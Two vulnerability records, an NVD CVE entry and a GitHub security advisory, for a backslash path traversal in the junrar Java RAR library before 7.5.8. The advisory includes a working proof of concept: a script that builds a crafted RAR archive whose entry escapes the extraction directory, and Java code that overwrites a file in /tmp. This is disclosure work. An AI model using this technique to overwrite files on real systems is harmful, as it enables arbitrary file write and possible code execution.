{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:junrar_project:junrar:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "38B5DED4-B9D7-4E60-8BB6-9D017DECD809",
              "versionEndExcluding": "7.5.8",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue."
    },
    {
      "lang": "es",
      "value": "Junrar es una biblioteca de archivo RAR de Java de c\u00f3digo abierto. Antes de la versi\u00f3n 7.5.8, una vulnerabilidad de salto de ruta con barra invertida en \u0027LocalFolderExtractor\u0027 permite a un atacante escribir archivos arbitrarios con contenido controlado por el atacante en cualquier lugar del sistema de archivos cuando se extrae un archivo RAR manipulado en Linux/Unix. Esto a menudo puede conducir a la ejecuci\u00f3n remota de c\u00f3digo (por ejemplo, sobrescribiendo perfiles de shell, c\u00f3digo fuente, tareas cron, etc.). La versi\u00f3n 7.5.8 tiene una soluci\u00f3n para el problema."
    }
  ],
  "id": "CVE-2026-28208",
  "lastModified": "2026-02-27T17:24:18.280",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-26T23:16:35.440",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/junrar/junrar/releases/tag/v7.5.8"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.junrar:junrar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T22:09:27Z",
    "nvd_published_at": "2026-02-26T23:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n    throw new IllegalStateException(\"Rar contains file with invalid path: \u0027\" + dirCanonPath + \"\u0027\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters \u2014 no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform\u0027s file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i];  // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry\u0027s content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` \u2014 the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat \u003e pom.xml \u003c\u003c \u0027POMEOF\u0027\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n    \u003cgroupId\u003ecom.test\u003c/groupId\u003e\n    \u003cartifactId\u003ejunrar-poc\u003c/artifactId\u003e\n    \u003cversion\u003e1.0\u003c/version\u003e\n    \u003cpackaging\u003ejar\u003c/packaging\u003e\n    \u003cproperties\u003e\n        \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n        \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n        \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n    \u003c/properties\u003e\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003ecom.github.junrar\u003c/groupId\u003e\n            \u003cartifactId\u003ejunrar\u003c/artifactId\u003e\n            \u003cversion\u003e7.5.7\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\u003c/project\u003e\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n#   Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 \u003c\u003c \u0027PYEOF\u0027\nimport struct, zlib\n\nRAR3_MAGIC = b\u0027Rar!\\x1a\\x07\\x00\u0027\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30      # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n    return zlib.crc32(data) \u0026 0xFFFF\n\ndef main_header():\n    # Standard RAR3 main archive header (non-encrypted)\n    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n    extra = struct.pack(\u0027\u003cHI\u0027, 0, 0)  # HighPosAv=0, PosAv=0\n    header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n    return struct.pack(\u0027\u003cH\u0027, crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n    fname = filename.encode(\u0027utf-8\u0027)\n    data = file_data.encode(\u0027utf-8\u0027)\n    mode = S_IFREG | 0o644\n    # UNP_VER=0: junrar\u0027s doUnpack() calls unstoreFile() when method==0x30,\n    # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n    # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n    file_hdr = struct.pack(\u0027\u003cLLBLLBBHL\u0027,\n        len(data), len(data), RAR_OS_UNIX,\n        zlib.crc32(data) \u0026 0xFFFFFFFF, 0x5A210000,\n        0, RAR_M0, len(fname), mode)\n    header_body = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n        7 + len(file_hdr) + len(fname)) + file_hdr + fname\n    return struct.pack(\u0027\u003cH\u0027, crc16(header_body)) + header_body + data\n\ndef endarc():\n    # junrar\u0027s EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n    header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_ENDARC, 0x4000, 7)\n    crc = crc16(header_data)\n    return struct.pack(\u0027\u003cH\u0027, crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block(\u0027..\\\\..\\\\tmp\\\\existing-file\u0027, \u0027Overwritten\\n\u0027)\narchive += endarc()\n\nwith open(\u0027malicious.rar\u0027, \u0027wb\u0027) as f:\n    f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" \u003e /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file  (should show \u0027Existing File\u0027)\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()\u0027s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n    static final String TARGET = \"/tmp/existing-file\";\n    static final String ARCHIVE = \"malicious.rar\";\n\n    public static void main(String[] args) throws Exception {\n        File archive = new File(ARCHIVE);\n        if (!archive.exists()) {\n            archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n        }\n\n        // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n        File target = new File(TARGET);\n        if (!target.exists()) {\n            System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n            System.exit(1);\n        }\n\n        System.out.println(\"Before extraction:\");\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + Files.readString(Path.of(TARGET)).trim());\n        System.out.println();\n\n        // Step 2: Extract the malicious archive\n        Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n        System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n        try {\n            Junrar.extract(archive, extractDir.toFile());\n        } catch (Exception e) {\n            System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n        }\n        System.out.println();\n\n        // Step 3: Show the result\n        System.out.println(\"After extraction:\");\n        String content = Files.readString(Path.of(TARGET)).trim();\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + content);\n        System.out.println();\n\n        if (content.equals(\"Overwritten\")) {\n            System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n        } else {\n            System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n        }\n    }\n}\n```",
  "id": "GHSA-j273-m5qq-6825",
  "modified": "2026-02-27T22:09:27Z",
  "published": "2026-02-27T22:09:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/junrar/junrar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junrar/junrar/releases/tag/v7.5.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix"
}